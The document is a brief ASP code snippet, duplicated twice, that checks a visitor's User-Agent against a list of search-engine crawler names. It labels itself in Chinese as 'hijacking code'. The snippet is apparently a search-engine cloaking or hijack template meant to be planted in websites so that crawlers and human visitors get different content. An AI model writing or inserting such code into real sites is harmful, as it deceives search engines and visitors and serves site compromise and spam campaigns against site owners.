<% Dim bots,zt 'come=Request.ServerVariables("Http_Referer") bots=Request.ServerVariables("HTTP_USER_AGENT") If instr(bots,"google")>0 Or instr(bots,"yahoo")>0 Or instr(bots,"Googlebot")>0 Or instr(bots,"bingbot")>0 Or instr(bots,"Yahoo! Slurp")>0 Or instr(bots,"Baiduspider")>0 Or instr(bots,"MSNBot")>0 Or instr(bots,"YodaoBot")>0 Or instr(bots,"Sosospider")>0 Or instr(bots,"Sogou inst spider")>0 Or instr(bots,"Sogou web spider")>0 Or instr(bots,"360Spider")>0 Or instr(bots,"JikeSpider")>0 Or instr(bots,"EasouSpider")>0 then zt="1" End If If zt>0 then %> <% response.End End if %> 这是劫持的代码 <% Dim bots,zt 'come=Request.ServerVariables("Http_Referer") bots=Request.ServerVariables("HTTP_USER_AGENT") If instr(bots,"google")>0 Or instr(bots,"yahoo")>0 Or instr(bots,"Googlebot")>0 Or instr(bots,"bingbot")>0 Or instr(bots,"Yahoo! Slurp")>0 Or instr(bots,"Baiduspider")>0 Or instr(bots,"MSNBot")>0 Or instr(bots,"YodaoBot")>0 Or instr(bots,"Sosospider")>0 Or instr(bots,"Sogou inst spider")>0 Or instr(bots,"Sogou web spider")>0 Or instr(bots,"360Spider")>0 Or instr(bots,"JikeSpider")>0 Or instr(bots,"EasouSpider")>0 then zt="1" End If If zt>0 then %> <% response.End End if %> 这是劫持的代码